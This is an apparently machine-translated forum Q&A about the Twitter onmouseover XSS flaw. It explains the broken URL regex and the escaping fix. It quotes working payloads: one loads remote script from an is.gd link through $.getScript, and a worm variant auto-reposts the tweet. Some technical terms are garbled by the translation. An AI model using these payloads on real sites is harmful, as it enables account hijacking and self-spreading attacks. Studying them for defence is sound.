twitter.com上今天的XSS onmouseover漏洞利用

你能解释一下今天在Twitter上发生了什么? 基本上这个漏洞使人们发布一条包含这个链接的推文:

  http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/ 

这在技术上是XSS攻击还是其他?

以下是Twitter主页的样子: http : //www.flickr.com/photos/travelist/6832853140/

该漏洞是因为URL没有正确parsing。 例如,以下url发布到Twitter:

http://thisisatest.com/@"onmouseover="alert('test xss')"/ 

Twitter将此视为url。 当它被parsing时,Twitter将围绕该代码包装一个链接,所以HTML现在看起来像:

 <a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span> 

你可以看到,通过放入URL和尾部的斜杠,Twitter认为它有一个有效的URL,即使它包含一个引号,它允许它逃脱(即终止href属性,对于那里的学者)url属性,并包括一个鼠标。 你可以写任何东西到页面,包括closures链接和包含一个脚本元素。 另外,由于您可以使用$.getScript() ,因此不受140个字符限制的限制。

如果这个提交被拖拽,将会阻止这个XSS漏洞。

具体来说,这个违规的正则expression式是:

 REGEXEN[:valid_url_path_chars] = /(?: #{REGEXEN[:wikipedia_disambiguation]}| @[^\/]+\/| [\.\,]?#{REGEXEN[:valid_general_url_path_chars]} )/ix 

@[^\/]+\/ part允许任何字符(正斜杠除外),前缀为@符号,后缀为正斜杠。

通过更改为@#{REGEXEN[:valid_general_url_path_chars]}+\/它现在只允许有效的URL字符。

是的,这是XSS,它正在攻击一个JavaScript事件处理程序 。 这个XSS最酷的地方在于它不需要<>来利用。 注入的string是: size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"

size::999999999999px使它非常大,更有人喜欢,有人会把它放在上面。 真正的问题是onmouseover=事件处理程序。

要在PHP中防止这种情况,您需要将引号转换为它们的html实体: $var=htmlspecialchars($var,ENT_QUOTES);

这是因为HTML你不能像sql: \' quot;

这个漏洞是一个经典的Javascript注入。 假设您使用以下文本撰写推文:

 "http://www.guardian.co.uk/technology is the best!" 

当您查看Twitter网页时,就会变成链接,如下所示:

 <a href="http://www.guardian.co.uk/technology" class="tweet-url web" rel="nofollow">http://www.guardian.co.uk/technology</a> is the best! 

利用攻击链接制作function。 漏洞推特的原始文本会读取这样的内容:

 http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML); $('.status-update-form').submit();"class="modal-overlay"/ 

哪个Twitter没有正确保护,可能是因为@“字符组合破坏了他们的[HTML]parsing器,该链接将生成以下页面源代码:

 <a href="http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML); $('.status-update-form').submit();"class="modal-overlay"/ class="tweet-url web" rel="nofollow"> 

这意味着可执行内容(onMouseOver =“stuff”位)已经在页面源代码中结束了。 不知道更好,浏览器运行这个代码。 因为它在用户的浏览器中运行,所以用户可以做任何事情; 大多数变种都使用这种权力重新发布内容,这就是为什么它像病毒一样传播。 为了鼓励用户通过鼠标hover来激活代码,他们还使用CSS [层叠样式表(Cascading Style Sheets)来确定页面布局],将该块格式化为黑底黑字。 其他版本被用户篡改,有各种各样的其他效果,如色情网站的redirect,他们的微博中的彩虹文字,等等。 其中一些popup对话框,旨在警告用户,谈论帐户被禁用或密码被盗(无论如何)。

Twitter解决了这个问题,而不是通过阻止stringonMouseOver(一些暗淡的博客所要求的),而是通过适当的消毒input。 “这些推文中的标记现在变成” – HTML转义forms。

从技术上讲这是一个二阶注入攻击; 攻击string被插入数据库并正确处理,但是攻击发生在string被读出的时候。 这并不是一个复杂的攻击,而是让Twitter感到尴尬,因为这被他们发现了。

来源: Twitter黑客:它是如何开始以及如何运作的

这是一个XSS的利用。 正如Twitter承认他们的更新。 您可以通过从不允许用户发布javascript代码来防止这样的攻击。 你应该总是过滤出来。 有关避免XSS的更多信息可以在这里find: http ://www.owasp.org/index.php/Cross-site_Scripting_(XSS )

来自Wikipedia:“跨站脚本攻击(XSS)是一种计算机安全漏洞,通常在Web应用程序中发现,它使恶意攻击者能够将客户端脚本注入到其他用户查看的网页中。

今天的攻击符合我的要求。

基本上Twitter.com显示代码存在某种parsing错误。 当他们将URL转换为HTML超链接时,他们没有正确处理@字符,这导致javascript事件被插入到HTML链接中。